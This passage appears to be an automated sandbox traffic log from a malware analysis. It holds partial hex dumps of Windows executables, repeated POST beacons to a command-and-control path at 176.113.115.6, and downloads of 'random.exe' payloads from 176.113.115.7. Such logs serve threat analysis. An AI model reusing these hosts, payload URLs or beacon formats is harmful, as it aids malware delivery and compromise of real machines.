00 00 00 00 00 00 00 a8 fa 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 d0 06 00 00 04 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 f0 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6f 78 65 70 68 79 6c 00 10 1a 00 00 f0 31 00 00 10 1a 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 6f 75 63 72 70 6a 00 10 00 00 00 00 4c 00 00 04 00 00 00 fe 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4c 00 00 22 00 00 00 02 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 07 Mar 2025 19:06:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 07 Mar 2025 19:06:44 GMTETag: "a400-62fc552c7e6b0"Accept-Ranges: bytesContent-Length: 41984Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1f 51 ff ad 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 22 00 00 00 08 00 00 00 00 00 00 66 3b 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 01 00 00 04 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 3b 00 00 4f 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 80 3a 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 20 00 00 00 20 00 00 00 22 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 00 00 00 02 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 43 53 53 00 00 00 00 00 76 00 00 00 a0 00 00 00 76 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 07 Mar 2025 19:07:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 07 Mar 2025 17:41:55 GMTETag: "2cc200-62fc4237594c2"Accept-Ranges: bytesContent-Length: 2933248Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 eb dd c9 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 d2 04 00 00 ae 00 00 00 00 00 00 00 f0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 30 00 00 04 00 00 aa 43 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 10 06 00 6b 00 00 00 00 00 06 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 11 06 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 00 06 00 00 02 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 7a 75 6c 79 71 62 6e 00 c0 29 00 00 20 06 00 00 b4 29 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 63 75 66 72 6d 6d 69 00 10 00 00 00 e0 2f 00 00 06 00 00 00 9a 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 2f 00 00 22 00 00 00 a0 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/martin2/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 38 34 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128840101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/qqdoup/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 38 35 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128850101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 38 36 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128860101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 38 37 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128870101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 38 38 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128880101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 38 39 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128890101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 39 30 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128900101&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
